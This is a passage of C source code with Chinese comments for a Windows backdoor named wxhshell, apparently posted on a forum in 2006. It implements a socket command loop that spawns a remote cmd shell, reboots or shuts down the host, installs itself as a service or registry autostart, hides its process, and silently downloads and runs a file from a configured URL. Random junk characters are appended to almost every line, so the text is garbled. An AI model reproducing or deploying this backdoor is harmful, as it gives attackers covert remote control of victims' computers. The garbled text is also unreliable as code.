  else { *$/!.e  
iM'rl0  
    switch(cmd[0]) { z($h7TZ$  
  )(`HEl>-9c  
  // 帮助 n+qa/<  
  case '?': { _G1C5nkDl4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *\4u:1Cu  
    break; 2Ysl|xRo  
  } ZBcT@hxm  
  // 安装 @b2JR^  
  case 'i': { -ZKo/ N>6}  
    if(Install()) j$Unw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9d8bh4[  
    else T>e4Og"?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ W.uV[\  
    break; DuzJQ Sv  
    } ~P5;k_&  
  // 卸载 aNxq_pRb  
  case 'r': { tJgo% P1  
    if(Uninstall()) @Q#<-/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tuWJj^  
    else 9X%H$>s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SRfnT?u6  
    break; g2t'u4>  
    } hDAxX= FM  
  // 显示 wxhshell 所在路径 VzZ'W[/7)B  
  case 'p': { 5L%\rH&N  
    char svExeFile[MAX_PATH]; s J~WzQ  
    strcpy(svExeFile,"\n\r"); JS{trqc1d  
      strcat(svExeFile,ExeFile); /QT"5fxKJ  
        send(wsh,svExeFile,strlen(svExeFile),0);  jcVK4jW  
    break; #G`UR  
    } W]l&mr  
  // 重启 ),53(=/hl  
  case 'b': { D @bnm s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i *9Bu;  
    if(Boot(REBOOT)) SZ)AO8&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]* MI"  
    else { ~wl 4  
    closesocket(wsh); mYRW/8+g  
    ExitThread(0); +PfXc?VU  
    } Wd78 bu|  
    break; !T3b ]0z  
    } 0'Y'K6hG`  
  // 关机 ^;[|,:8f7L  
  case 'd': { H1^m>4ll9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cQOc^W  
    if(Boot(SHUTDOWN)) {iRXK   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }}4u>1,~  
    else { y)%CNH)*x  
    closesocket(wsh); AFN"#M  
    ExitThread(0); wr+r J  
    } "S ~(|G  
    break; f:_mrzz  
    } 6r3.%V.&  
  // 获取shell LH_rc  
  case 's': { +#Q\;; FNP  
    CmdShell(wsh); X6`F<H`  
    closesocket(wsh); /6@iRswa  
    ExitThread(0); pZUXXX  
    break; gLGu#6YVu  
  } (s?Rbd  
  // 退出 8kA2.pIk  
  case 'x': { ZT'VF~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9S8>"w^R  
    CloseIt(wsh); 2$OI(7b=  
    break; d=~-8]%\  
    } ? ^l{t4  
  // 离开 rm"C|T4:V  
  case 'q': { o{n)w6P{R,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xe:gH.}  
    closesocket(wsh); n +R3  
    WSACleanup(); P g{/tM Y  
    exit(1); A.@/~\  
    break; yR|Beno  
        } EJ&aT etQ  
  } nz%{hMNYH  
  } zUNWcv!& "  
l]wjH5mz=i  
  // 提示信息 2qQG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n9p_D  
} W7 iml|WV0  
  } +q NX/F  
BXx0Z %e.3  
  return; t!S ja  
} 9+!1jTGSkf  
w,/&oe5M+  
// shell模块句柄 E` O@UW@  
int CmdShell(SOCKET sock) C % d  
{ d \[cFe1d  
STARTUPINFO si; /j|Rz5@ =  
ZeroMemory(&si,sizeof(si)); fP :26pK^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h'D-e5i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n>|7 k3  
PROCESS_INFORMATION ProcessInfo; KOqp@K$  
char cmdline[]="cmd"; W:z?w2{VI(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `5$B"p&i  
  return 0; *RpBKm&^7  
} /xseI)y.B  
wAn}ic".b  
// 自身启动模式 ^qgOgu  
int StartFromService(void) p(J,fus  
{ (Z{&[h  
typedef struct *pMu,?uE  
{ <XAW-m9SC  
  DWORD ExitStatus; W{6%Hh p  
  DWORD PebBaseAddress; djGzJLH  
  DWORD AffinityMask; +2WvGRC  
  DWORD BasePriority; H/Wo~$  
  ULONG UniqueProcessId; I<v:x Tor  
  ULONG InheritedFromUniqueProcessId; -kZOve|5  
}   PROCESS_BASIC_INFORMATION; |}YeQl  
2wKW17wj,  
PROCNTQSIP NtQueryInformationProcess; O,>`#?  
[LcHO] _^M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =%UX"K`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $&>z`bAS>  
`_*NFv1_  
  HANDLE             hProcess; QL{{GQ_dn  
  PROCESS_BASIC_INFORMATION pbi; v\;hI5WY  
h4\j=Np  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O F|3y~z  
  if(NULL == hInst ) return 0; =5PNH2  
f-M9OI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D. _*p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iCK p"(kf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >AsrPU[  
9~FB^3Nz_  
  if (!NtQueryInformationProcess) return 0; [p7cgHSMt  
}RT#V8oc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '=^$ ;3Z  
  if(!hProcess) return 0; l'#P:eW  
eC71;"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <l,Kg 'v  
2G4OK7x  
  CloseHandle(hProcess); e?"XMY  
X=Th  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G"~%[k  
if(hProcess==NULL) return 0; HU='Hk!  
Uz&XqjS  
HMODULE hMod; H%AF,  
char procName[255]; fNkN  
unsigned long cbNeeded; V6.w=6:`X  
Mr8r(LGY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G{8>  
8D[,z 7n  
  CloseHandle(hProcess); n%"0%A  
S@N:Cj  
if(strstr(procName,"services")) return 1; // 以服务启动 R>05MhA+  
qit D{;  
  return 0; // 注册表启动 2d`:lk%\  
} N=`xoF  
/J-:?./  
// 主模块 g'F{;Ur  
int StartWxhshell(LPSTR lpCmdLine) ;is*[r\|1  
{ H+VKWGmfG  
  SOCKET wsl; < mb.F-8  
BOOL val=TRUE; s?j` _ B  
  int port=0; C6-71 `C0  
  struct sockaddr_in door; z 5T_  
x-Cy,d:YX  
  if(wscfg.ws_autoins) Install(); l_Ffbs_6t  
qBkI9H  
port=atoi(lpCmdLine); t mCm54  
|6mDooTy  
if(port<=0) port=wscfg.ws_port; :Y AxL J  
KG5h$eM'  
  WSADATA data; =h#3D?b0n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bkZ~O=uv$-  
)kq3q5*_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )7H s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;g0p`wV  
  door.sin_family = AF_INET; DKcg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \8I>^4t'/  
  door.sin_port = htons(port); C9`J6Uu  
@y#QHJ.j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ?Cu1"bl  
closesocket(wsl); Hvm+Tr2@  
return 1; JpFfO<uO  
} :-I~-Yj  
vWM3JH~a6  
  if(listen(wsl,2) == INVALID_SOCKET) { RuW62QSq  
closesocket(wsl); h7EKb-@  
return 1; 2rr}5i)r|  
} {APsi7HYBr  
  Wxhshell(wsl); m _0D^e7#  
  WSACleanup(); 7d7"^M  
1b6o x6  
return 0; ~m]sJpW<"  
E27N1J+1  
} ;U +;NsCH  
q66+x)  
// 以NT服务方式启动 LOD'iiH6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kg>Ymo.  
{ | Q Y_ci  
DWORD   status = 0; 3M nm2*\  
  DWORD   specificError = 0xfffffff; k#4%d1O}  
q*<Fy4j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NbD"O8dL~E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Q&*V7EO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y5XHJUTu  
  serviceStatus.dwWin32ExitCode     = 0; gZ5E%']sT  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 us-s  
  serviceStatus.dwCheckPoint       = 0; &*I\~;1  
  serviceStatus.dwWaitHint       = 0; suh@  
n.[0#Ur&}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {L!w/IeX  
  if (hServiceStatusHandle==0) return; j4au Zl]NF  
@aG1PG{  
status = GetLastError(); g[rxK n\Z  
  if (status!=NO_ERROR) 'wo[iNy[  
{ b9ON[qOMN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {\OIowa  
    serviceStatus.dwCheckPoint       = 0; @$5GxIw<l  
    serviceStatus.dwWaitHint       = 0; e$k ]z HlQ  
    serviceStatus.dwWin32ExitCode     = status; >bf29tr  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0L34)W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hrwQh2sm  
    return; AC=/BU3<yc  
  } RP 2MtP"M  
d(>7BV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mulK(mp  
  serviceStatus.dwCheckPoint       = 0; C] <K s  
  serviceStatus.dwWaitHint       = 0; VQm)32'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C-;y#a)  
} \iQD\=o  
p0KkPE">p4  
// 处理NT服务事件,比如:启动、停止 2V}tDN7c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q;T3bxp+  
{ ?fog 34g  
switch(fdwControl) &CvNNDgrJ  
{ rf+'U9  
case SERVICE_CONTROL_STOP: ~RQ6DG^  
  serviceStatus.dwWin32ExitCode = 0; }w \["r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sOSol7n  
  serviceStatus.dwCheckPoint   = 0; x?J- {6k  
  serviceStatus.dwWaitHint     = 0; 't$(Ruw  
  { IT,TSs/Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /t-m/&>  
  } +$MNG   
  return; H61 ,pr>  
case SERVICE_CONTROL_PAUSE: 8oSndfV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $XFiH~GI  
  break; XE_|H1&j  
case SERVICE_CONTROL_CONTINUE: tHSe>*eC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {x $H# <Y  
  break; ^X6fgsjz  
case SERVICE_CONTROL_INTERROGATE: tJ>OZ  
  break; v;S7i>\  
}; (+<SR5,/3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Ire#0Nwx  
} Do7&OBI~  
<RmI)g>'_^  
// 标准应用程序主函数 %]JSDb=C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u>Z0ug6x  
{ Epm\ =s  
$oO9N^6yF  
// 获取操作系统版本 eRC /Pr  
OsIsNt=GetOsVer(); VGoD2,(b^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )5Ddvz>+  
A KO#$OJE  
  // 从命令行安装 n*6b*fl  
  if(strpbrk(lpCmdLine,"iI")) Install(); k+>-?S,  
AZ)H/#be  
  // 下载执行文件 @[0zZX2EE  
if(wscfg.ws_downexe) { =`5Xx(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rn l~i  
  WinExec(wscfg.ws_filenam,SW_HIDE); g{@q  
} 6(4FC?Y7  
+'abAST t  
if(!OsIsNt) { :\x)`lu  
// 如果时win9x,隐藏进程并且设置为注册表启动 N"2Ire  
HideProc(); JcEPwF.  
StartWxhshell(lpCmdLine); VnUW UIVJ  
} OWsK>egD  
else ?5e:w?&g@  
  if(StartFromService()) 2f1WT g)  
  // 以服务方式启动 /,'D4s:Gg  
  StartServiceCtrlDispatcher(DispatchTable); ^)&d7cSc  
else @ U6Iw"@  
  // 普通方式启动 .OM m"RtK  
  StartWxhshell(lpCmdLine); fYF\5/_  
z'K&LH  
return 0; MXY[t  
}
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只看该作者 1 发表于: 2006-10-10
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